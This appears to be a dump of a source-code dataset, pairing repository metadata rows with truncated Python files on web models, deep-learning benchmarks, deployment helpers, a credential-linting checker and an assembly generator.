] | null | null | null | api/models/team_member_map.py | SE-131-JSONx/jsonx-backend | f25b497898f9737e27acc6310d2872635285cc0e | [
"MIT"
] | 1 | 2018-10-05T17:36:20.000Z | 2018-10-05T17:36:20.000Z | api/models/team_member_map.py | SE-131-JSONx/jsonx-backend | f25b497898f9737e27acc6310d2872635285cc0e | [
"MIT"
] | 1 | 2020-04-10T02:00:20.000Z | 2020-04-10T02:00:20.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
import logging
from sqlalchemy import ForeignKey
from api.utils.database import db
from marshmallow_sqlalchemy import ModelSchema
from marshmallow import fields
class TeamMemberMap(db.Model):
__tablename__ = 'team_member_map'
id = db.Column(db.BigInteger, primary_key... | 28.327273 | 71 | 0.641849 | 189 | 1,558 | 5.185185 | 0.354497 | 0.04898 | 0.061224 | 0.061224 | 0.173469 | 0.063265 | 0.063265 | 0 | 0 | 0 | 0 | 0.000855 | 0.249679 | 1,558 | 54 | 72 | 28.851852 | 0.837468 | 0.02439 | 0 | 0.232558 | 0 | 0 | 0.019104 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0 | 0.116279 | 0 | 0.581395 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
6ffb92ebd4cc99774b4117a5e002d7d49fdf0085 | 1,364 | py | Python | flask_secure/auth/models.py | mkeneth/login_to_reg_Flask | d7180cc4d88695873cd15cfe631303df075f08ed | [
"MIT"
] | null | null | null | flask_secure/auth/models.py | mkeneth/login_to_reg_Flask | d7180cc4d88695873cd15cfe631303df075f08ed | [
"MIT"
] | null | null | null | flask_secure/auth/models.py | mkeneth/login_to_reg_Flask | d7180cc4d88695873cd15cfe631303df075f08ed | [
"MIT"
] | null | null | null | from flask_secure import db
from flask_security import UserMixin, RoleMixin
class RolesUsers(db.Model):
__tablename__ = 'roles_users'
id = db.Column(db.Integer(), primary_key=True)
user_id = db.Column('user_id', db.Integer(), db.ForeignKey('user.id'))
role_id = db.Column('role_id', db.Integer(), db.For... | 38.971429 | 74 | 0.678152 | 192 | 1,364 | 4.619792 | 0.302083 | 0.162345 | 0.180383 | 0.144307 | 0.386697 | 0.226607 | 0.170237 | 0.111612 | 0 | 0 | 0 | 0.020318 | 0.170088 | 1,364 | 34 | 75 | 40.117647 | 0.763251 | 0 | 0 | 0.066667 | 0 | 0 | 0.054252 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0.033333 | 0.066667 | 0.033333 | 0.966667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6ffe7baeef3d2c4a7576ae140dfb662b76622d4b | 440 | py | Python | art_collab/core/views.py | Sensweii/ArtCollab | 7b339721538c1aa6d6731eb00d9522fd74765ec5 | [
"MIT"
] | null | null | null | art_collab/core/views.py | Sensweii/ArtCollab | 7b339721538c1aa6d6731eb00d9522fd74765ec5 | [
"MIT"
] | null | null | null | art_collab/core/views.py | Sensweii/ArtCollab | 7b339721538c1aa6d6731eb00d9522fd74765ec5 | [
"MIT"
] | null | null | null | from django.views.generic import TemplateView
from logos.models import Logo
class HomeView(TemplateView):
"""View for home page."""
template_name = 'homepage.html'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
logo_queryset = Logo.objects.all()
... | 27.5 | 69 | 0.654545 | 52 | 440 | 5.384615 | 0.673077 | 0.071429 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.215909 | 440 | 15 | 70 | 29.333333 | 0.811594 | 0.043182 | 0 | 0 | 0 | 0 | 0.091566 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b5018d6ab7ed987abec9039bd8a8438083e734c1 | 3,147 | py | Python | frameworks/pytorch/models.py | fpask/deepbench | eacf2a541248a5dba88644a9e9c8ac1a3f0fc311 | [
"MIT"
] | 1 | 2018-10-23T02:47:14.000Z | 2018-10-23T02:47:14.000Z | frameworks/pytorch/models.py | fpask/deepbench | eacf2a541248a5dba88644a9e9c8ac1a3f0fc311 | [
"MIT"
] | null | null | null | frameworks/pytorch/models.py | fpask/deepbench | eacf2a541248a5dba88644a9e9c8ac1a3f0fc311 | [
"MIT"
] | null | null | null | from time import time
import torch
# this turns on auto tuner which optimizes performance
torch.backends.cudnn.benchmark = True if torch.cuda.is_available() else False
import torchvision
device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')
if torch.cuda.is_available():
print('cuda version=', t... | 36.172414 | 110 | 0.644423 | 390 | 3,147 | 4.951282 | 0.205128 | 0.067323 | 0.088555 | 0.111859 | 0.782496 | 0.719316 | 0.627136 | 0.520974 | 0.520974 | 0.508545 | 0 | 0.017069 | 0.236733 | 3,147 | 86 | 111 | 36.593023 | 0.786844 | 0.016524 | 0 | 0.454545 | 0 | 0 | 0.026197 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.106061 | false | 0 | 0.045455 | 0 | 0.257576 | 0.030303 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5086cc10237aebf4fcc8035bb4fdda46ba15cc6 | 580 | py | Python | tmt/steps/execute/__init__.py | dhodovsk/tmt | 20e9658d8233d3335aff476cc90755afd8237416 | [
"MIT"
] | null | null | null | tmt/steps/execute/__init__.py | dhodovsk/tmt | 20e9658d8233d3335aff476cc90755afd8237416 | [
"MIT"
] | 1 | 2019-10-29T14:51:07.000Z | 2019-10-29T14:51:07.000Z | tmt/steps/execute/__init__.py | dhodovsk/tmt | 20e9658d8233d3335aff476cc90755afd8237416 | [
"MIT"
] | null | null | null | # coding: utf-8
""" Execute Step Classes """
import tmt
class Execute(tmt.steps.Step):
""" Run the tests (using the specified framework and its settings) """
def __init__(self, data, plan):
""" Initialize the execute step """
super(Execute, self).__init__(data, plan)
if len(self.dat... | 27.619048 | 76 | 0.6 | 69 | 580 | 4.927536 | 0.608696 | 0.064706 | 0.094118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004608 | 0.251724 | 580 | 20 | 77 | 29 | 0.778802 | 0.260345 | 0 | 0 | 0 | 0 | 0.136139 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b508858e8a68bc2e0b7b8e459b7857860acb4ee2 | 1,360 | py | Python | cerver/route.py | Djcharles26/py-cerver | b43ecae44e975eb51dad6a80c50a8b6e50aa125a | [
"MIT"
] | null | null | null | cerver/route.py | Djcharles26/py-cerver | b43ecae44e975eb51dad6a80c50a8b6e50aa125a | [
"MIT"
] | null | null | null | cerver/route.py | Djcharles26/py-cerver | b43ecae44e975eb51dad6a80c50a8b6e50aa125a | [
"MIT"
] | null | null | null | from ctypes import c_int, c_char_p, c_void_p, CFUNCTYPE
from .lib import lib
from .request import RequestMethod
HttpRouteModifier = c_int
HTTP_ROUTE_MODIFIER_NONE = 0
HTTP_ROUTE_MODIFIER_MULTI_PART = 1
HTTP_ROUTE_MODIFIER_WEB_SOCKET = 2
HttpRouteAuthType = c_int
HTTP_ROUTE_AUTH_TYPE_NONE = 0
HTTP_ROUTE_AUTH_TYPE_... | 30.909091 | 83 | 0.853676 | 225 | 1,360 | 4.586667 | 0.186667 | 0.235465 | 0.174419 | 0.081395 | 0.351744 | 0.261628 | 0.170543 | 0.083333 | 0 | 0 | 0 | 0.004036 | 0.088971 | 1,360 | 43 | 84 | 31.627907 | 0.828894 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.107143 | 0 | 0.107143 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5139e29f0283208301d34865fdd041adc4c454f | 2,666 | py | Python | credscan/credscan.py | melonrush13/CSEBoulder | 5c520e8a2e215fe7c6c79868cece16f389925dc4 | [
"MIT"
] | null | null | null | credscan/credscan.py | melonrush13/CSEBoulder | 5c520e8a2e215fe7c6c79868cece16f389925dc4 | [
"MIT"
] | null | null | null | credscan/credscan.py | melonrush13/CSEBoulder | 5c520e8a2e215fe7c6c79868cece16f389925dc4 | [
"MIT"
] | null | null | null | """
Naively scans python code for credentials
"""
import tokenize
import re
from pylint.checkers import BaseTokenChecker
from pylint.interfaces import ITokenChecker, HIGH
class CredentialChecker(BaseTokenChecker):
"""
Checks if any credentials exist as python strings
"""
__implements__ = ITokenChe... | 28.666667 | 84 | 0.58027 | 315 | 2,666 | 4.803175 | 0.355556 | 0.074025 | 0.039656 | 0.043622 | 0.240582 | 0.199603 | 0.166557 | 0.146067 | 0.146067 | 0.117647 | 0 | 0.010281 | 0.306827 | 2,666 | 92 | 85 | 28.978261 | 0.808442 | 0.223931 | 0 | 0.186047 | 0 | 0 | 0.11433 | 0.038282 | 0 | 0 | 0 | 0 | 0 | 1 | 0.093023 | false | 0.139535 | 0.093023 | 0 | 0.395349 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
82ecfa25bbb5cc6bd4ecf52d2d947fa92781f2b3 | 864 | py | Python | common/eggholder.py | ModelEngineering/topics-course | cd0d73e4056663d170465669ecd699e8e74e35a0 | [
"MIT"
] | 2 | 2018-10-24T21:31:30.000Z | 2019-10-23T20:29:22.000Z | common/eggholder.py | ModelEngineering/topics-course | cd0d73e4056663d170465669ecd699e8e74e35a0 | [
"MIT"
] | 1 | 2019-11-20T21:46:26.000Z | 2019-11-20T22:09:00.000Z | common/eggholder.py | ModelEngineering/topics-course | cd0d73e4056663d170465669ecd699e8e74e35a0 | [
"MIT"
] | 9 | 2018-10-31T20:48:42.000Z | 2019-11-20T21:47:43.000Z | """Generate a Complicated Surface."""
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
def eggholder(x):
return (-(x[1] + 47) * np.sin(np.sqrt(abs(x[0]/2 + (x[1] + 47))))
-x[0] * np.sin(np.sqrt(abs(x[0] - (x[1] + 47)))))
def generateSurface(isPlot=True):
... | 28.8 | 70 | 0.62037 | 133 | 864 | 3.909774 | 0.541353 | 0.038462 | 0.023077 | 0.042308 | 0.061538 | 0.061538 | 0.061538 | 0 | 0 | 0 | 0 | 0.056358 | 0.199074 | 864 | 29 | 71 | 29.793103 | 0.695087 | 0.03588 | 0 | 0 | 1 | 0 | 0.087062 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086957 | false | 0 | 0.130435 | 0.043478 | 0.26087 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
82f074c949917b4a07bb0634a95bb8037aba1700 | 987 | py | Python | tests/pyre/calc/hierarchical_patch.py | BryanRiel/pyre | 179359634a7091979cced427b6133dd0ec4726ea | [
"BSD-3-Clause"
] | null | null | null | tests/pyre/calc/hierarchical_patch.py | BryanRiel/pyre | 179359634a7091979cced427b6133dd0ec4726ea | [
"BSD-3-Clause"
] | null | null | null | tests/pyre/calc/hierarchical_patch.py | BryanRiel/pyre | 179359634a7091979cced427b6133dd0ec4726ea | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# michael a.g. aïvázis
# orthologue
# (c) 1998-2018 all rights reserved
#
"""
Verify that node updates propagate properly
"""
def test():
import pyre.calc
# create a model
model = pyre.calc.model()
# register the nodes
model["user.name"] = "Mich... | 21 | 89 | 0.653495 | 125 | 987 | 5.088 | 0.512 | 0.084906 | 0.150943 | 0.169811 | 0.361635 | 0.361635 | 0.361635 | 0.232704 | 0.232704 | 0.232704 | 0 | 0.012771 | 0.206687 | 987 | 46 | 90 | 21.456522 | 0.799489 | 0.35157 | 0 | 0.307692 | 0 | 0 | 0.458671 | 0.194489 | 0 | 0 | 0 | 0 | 0.153846 | 1 | 0.076923 | false | 0 | 0.076923 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
82f486698c9d356debd9838bf747afe608628d53 | 4,165 | py | Python | finmancore/models.py | maheswaranm/finman | af3fd6995efd99ec8671b814e79ce42272d27665 | [
"MIT"
] | null | null | null | finmancore/models.py | maheswaranm/finman | af3fd6995efd99ec8671b814e79ce42272d27665 | [
"MIT"
] | null | null | null | finmancore/models.py | maheswaranm/finman | af3fd6995efd99ec8671b814e79ce42272d27665 | [
"MIT"
] | null | null | null | import itertools
import operator
from decimal import Decimal
from django.db import models
from django.db.models import Q,Sum,Count
from datetime import datetime, timedelta
from model_utils.managers import InheritanceManager
# Create your models here.
class AccountManager(models.Manager):
def getTransactionsFor... | 39.292453 | 146 | 0.713806 | 526 | 4,165 | 5.401141 | 0.231939 | 0.039423 | 0.038015 | 0.050686 | 0.42309 | 0.38578 | 0.303414 | 0.219641 | 0.180218 | 0.180218 | 0 | 0.010907 | 0.163505 | 4,165 | 105 | 147 | 39.666667 | 0.804535 | 0.018727 | 0 | 0.131579 | 0 | 0 | 0.074682 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.144737 | false | 0 | 0.092105 | 0.092105 | 0.723684 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
82f9b74d9a3e5a4150e657f35d39d7e39ea524d5 | 771 | py | Python | transforms/img2h5.py | srujanm/ibex | ed8167b8b1573830bee39c469db7733fdfcb41d1 | [
"MIT"
] | 3 | 2018-08-10T21:11:09.000Z | 2019-07-26T13:47:24.000Z | transforms/img2h5.py | srujanm/ibex | ed8167b8b1573830bee39c469db7733fdfcb41d1 | [
"MIT"
] | null | null | null | transforms/img2h5.py | srujanm/ibex | ed8167b8b1573830bee39c469db7733fdfcb41d1 | [
"MIT"
] | 6 | 2018-03-05T20:14:11.000Z | 2020-07-23T18:39:16.000Z | import os
import numpy as np
from ibex.utilities import dataIO
def ImageStackToH5(image_directory, output_filename):
# get all of the image file
image_filenames = sorted(os.listdir(image_directory))
zres = len(image_filenames)
yres, xres = dataIO.ReadImage('{}/{}'.format(image_directory, image_f... | 30.84 | 92 | 0.696498 | 98 | 771 | 5.326531 | 0.459184 | 0.10728 | 0.045977 | 0.095785 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006472 | 0.198444 | 771 | 25 | 93 | 30.84 | 0.838188 | 0.11284 | 0 | 0 | 0 | 0 | 0.020558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.214286 | null | null | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
82fe72fef527dc71ad562f3a170082e14c470513 | 7,508 | py | Python | mezzanine/blog/migrations/0001_initial.py | kevinlai219/Mezzanine-Django | a92cde236448e19cdbf853b5cb34f99a60972147 | [
"BSD-2-Clause"
] | 3,053 | 2015-01-01T08:16:01.000Z | 2022-03-31T12:06:03.000Z | mezzanine/blog/migrations/0001_initial.py | kevinlai219/Mezzanine-Django | a92cde236448e19cdbf853b5cb34f99a60972147 | [
"BSD-2-Clause"
] | 818 | 2015-01-03T05:44:45.000Z | 2022-03-08T00:06:23.000Z | mezzanine/blog/migrations/0001_initial.py | kevinlai219/Mezzanine-Django | a92cde236448e19cdbf853b5cb34f99a60972147 | [
"BSD-2-Clause"
] | 1,352 | 2015-01-01T06:17:14.000Z | 2022-03-26T16:21:54.000Z | from django.conf import settings
from django.db import migrations, models
import mezzanine.core.fields
import mezzanine.utils.models
class Migration(migrations.Migration):
dependencies = [
("sites", "0001_initial"),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations... | 37.728643 | 168 | 0.394379 | 515 | 7,508 | 5.605825 | 0.28932 | 0.087634 | 0.041566 | 0.039487 | 0.430897 | 0.400069 | 0.308278 | 0.260132 | 0.260132 | 0.260132 | 0 | 0.009366 | 0.516516 | 7,508 | 198 | 169 | 37.919192 | 0.78595 | 0 | 0 | 0.502591 | 0 | 0.010363 | 0.16236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.020725 | 0 | 0.036269 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d20ae905aab31547b5b7b29bee546349ccbf087c | 421 | py | Python | tests/test_gui/test_bitdepth.py | funkelab/spimagine | d7fb0aac8986421df339486e1f0d33d0ba1c820c | [
"BSD-3-Clause"
] | 116 | 2015-05-06T16:13:55.000Z | 2022-03-21T21:13:15.000Z | tests/test_gui/test_bitdepth.py | funkelab/spimagine | d7fb0aac8986421df339486e1f0d33d0ba1c820c | [
"BSD-3-Clause"
] | 33 | 2015-06-24T09:32:24.000Z | 2020-08-26T11:46:21.000Z | tests/test_gui/test_bitdepth.py | funkelab/spimagine | d7fb0aac8986421df339486e1f0d33d0ba1c820c | [
"BSD-3-Clause"
] | 19 | 2015-06-24T12:19:22.000Z | 2021-11-28T21:38:21.000Z | import numpy as np
import matplotlib
matplotlib.use("Qt5Agg")
from matplotlib.pyplot import cm
from spimagine import volshow
import OpenGL.GL as GL
if __name__ == '__main__':
data = np.einsum("ij,k",np.ones((100,)*2), np.linspace(0,1,100))
w = volshow(data)
w.glWidget._set_colormap_array(cm.hot(np.linsp... | 26.3125 | 77 | 0.712589 | 68 | 421 | 4.205882 | 0.602941 | 0.06993 | 0.076923 | 0.083916 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043836 | 0.133017 | 421 | 16 | 77 | 26.3125 | 0.739726 | 0 | 0 | 0 | 0 | 0 | 0.094787 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.454545 | 0 | 0.454545 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
d21c07529ed43154f829bb3c0b57628d0a69ab2e | 6,949 | py | Python | studies/views/study_views.py | UiL-OTS-labs/etcl | a22df7ff78620b704a500354fb218fbe9bcabf5f | [
"MIT"
] | 2 | 2017-04-22T11:07:13.000Z | 2018-03-02T12:23:24.000Z | studies/views/study_views.py | UiL-OTS-labs/etcl | a22df7ff78620b704a500354fb218fbe9bcabf5f | [
"MIT"
] | 6 | 2017-07-24T09:59:13.000Z | 2019-04-01T15:15:57.000Z | studies/views/study_views.py | UiL-OTS-labs/etcl | a22df7ff78620b704a500354fb218fbe9bcabf5f | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
from braces import views as braces
from django.conf import settings
from django.urls import reverse
from django.http import JsonResponse
from django.views import generic
from django.views.decorators.csrf import csrf_exempt
from django.utils.translation import ugettext_lazy as _
from main.vie... | 36.005181 | 114 | 0.660383 | 801 | 6,949 | 5.575531 | 0.222222 | 0.033587 | 0.018809 | 0.012763 | 0.323108 | 0.256605 | 0.166144 | 0.147783 | 0.128527 | 0.091805 | 0 | 0.001308 | 0.229673 | 6,949 | 192 | 115 | 36.192708 | 0.832991 | 0.161318 | 0 | 0.35 | 0 | 0 | 0.097371 | 0.022847 | 0 | 0 | 0 | 0 | 0 | 1 | 0.116667 | false | 0 | 0.125 | 0 | 0.525 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
d220721c36416f3e876d7298d39316fc7227b84d | 968 | py | Python | segmentation/test.py | TrevinoCarlos/caffe | 2b36ec4a32e10511713060a4062a50e621019a0e | [
"BSD-2-Clause"
] | null | null | null | segmentation/test.py | TrevinoCarlos/caffe | 2b36ec4a32e10511713060a4062a50e621019a0e | [
"BSD-2-Clause"
] | null | null | null | segmentation/test.py | TrevinoCarlos/caffe | 2b36ec4a32e10511713060a4062a50e621019a0e | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
"""
Generate an image out of a fully convolutional neural network (CNN).
"""
import caffe
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter
import os
def parse_args():
"""Parse input arguments
"""
... | 29.333333 | 74 | 0.644628 | 106 | 968 | 5.679245 | 0.45283 | 0.074751 | 0.141196 | 0.109635 | 0.257475 | 0.13289 | 0.13289 | 0.13289 | 0 | 0 | 0 | 0 | 0.272727 | 968 | 32 | 75 | 30.25 | 0.855114 | 0.119835 | 0 | 0.190476 | 1 | 0 | 0.202622 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.285714 | 0 | 0.380952 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d220c1707e683e9315aba230adae76865fc4c968 | 4,571 | py | Python | orchalib/tasks.py | devincherry/deploytool | 092df0c3dd7184df1b056cc1ac720d199a5ad79a | [
"MIT"
] | null | null | null | orchalib/tasks.py | devincherry/deploytool | 092df0c3dd7184df1b056cc1ac720d199a5ad79a | [
"MIT"
] | null | null | null | orchalib/tasks.py | devincherry/deploytool | 092df0c3dd7184df1b056cc1ac720d199a5ad79a | [
"MIT"
] | null | null | null | """Helper routines that can be executed from tasks"""
from os import path
from fabric.api import env, execute, local, put, sudo
from fabric.context_managers import cd
from fabric.decorators import runs_once
from fabric.contrib import files
from . import (
DEFAULT_OWNER,
get_current_release_dir,
get_temp_... | 32.884892 | 79 | 0.655655 | 638 | 4,571 | 4.521944 | 0.285266 | 0.046101 | 0.020797 | 0.019411 | 0.101213 | 0.052686 | 0.015945 | 0 | 0 | 0 | 0 | 0.002838 | 0.229053 | 4,571 | 138 | 80 | 33.123188 | 0.815834 | 0.121636 | 0 | 0.032258 | 0 | 0 | 0.122901 | 0.015363 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.096774 | null | null | 0.064516 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d2233e884a7d9fddedd7bb44e7db455fc8338ad7 | 10,347 | py | Python | avx2-hps4096821/asmgen/poly_s3_to_rq.py | mariaschopp/ntru | 23aa4739a833353a8ab9375023d94bf96a284a60 | [
"CC0-1.0"
] | 5 | 2021-06-25T17:33:39.000Z | 2021-10-19T19:29:00.000Z | avx2-hps4096821/asmgen/poly_s3_to_rq.py | mariaschopp/ntru | 23aa4739a833353a8ab9375023d94bf96a284a60 | [
"CC0-1.0"
] | null | null | null | avx2-hps4096821/asmgen/poly_s3_to_rq.py | mariaschopp/ntru | 23aa4739a833353a8ab9375023d94bf96a284a60 | [
"CC0-1.0"
] | 2 | 2021-06-03T14:10:26.000Z | 2021-10-02T06:16:28.000Z | from math import ceil
from params import *
p = print
def mod3(a, r=13, t=14, c=15):
# r = (a >> 8) + (a & 0xff); // r mod 255 == a mod 255
p("vpsrlw $8, %ymm{}, %ymm{}".format(a, r))
p("vpand mask_ff, %ymm{}, %ymm{}".format(a, a))
p("vpaddw %ymm{}, %ymm{}, %ymm{}".format(r, a, r))
# r = (r >> 4... | 35.67931 | 81 | 0.468348 | 1,756 | 10,347 | 2.704442 | 0.102506 | 0.154138 | 0.207202 | 0.126342 | 0.683933 | 0.616972 | 0.54622 | 0.462203 | 0.42788 | 0.386818 | 0 | 0.072755 | 0.245482 | 10,347 | 289 | 82 | 35.802768 | 0.535545 | 0.128346 | 0 | 0.367925 | 0 | 0 | 0.384598 | 0.002337 | 0 | 0 | 0.007901 | 0.00346 | 0 | 1 | 0.004717 | false | 0 | 0.009434 | 0 | 0.014151 | 0.004717 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d226f3a40dcf999b1ead43326e45893d8a5d3c68 | 395 | py | Python | blog/migrations/0005_post_image_alt.py | erikberter/IndividualBlog | 7daf6173c86c8550ccd638fd217c4fda85a6f5fb | [
"Apache-2.0"
] | null | null | null | blog/migrations/0005_post_image_alt.py | erikberter/IndividualBlog | 7daf6173c86c8550ccd638fd217c4fda85a6f5fb | [
"Apache-2.0"
] | null | null | null | blog/migrations/0005_post_image_alt.py | erikberter/IndividualBlog | 7daf6173c86c8550ccd638fd217c4fda85a6f5fb | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.0.3 on 2020-09-19 22:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0004_auto_20200919_2317'),
]
operations = [
migrations.AddField(
model_name='post',
name='image_alt',
... | 20.789474 | 63 | 0.594937 | 44 | 395 | 5.204545 | 0.840909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.120141 | 0.283544 | 395 | 18 | 64 | 21.944444 | 0.689046 | 0.113924 | 0 | 0 | 1 | 0 | 0.114943 | 0.066092 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d227fcad637082934e4ad196ec58309687745b9b | 1,708 | py | Python | models/scheduler.py | shikasta-net/LabBook | 3ceabc8254192abc85e2a2a9ab30a8639fd4e04d | [
"Apache-2.0"
] | null | null | null | models/scheduler.py | shikasta-net/LabBook | 3ceabc8254192abc85e2a2a9ab30a8639fd4e04d | [
"Apache-2.0"
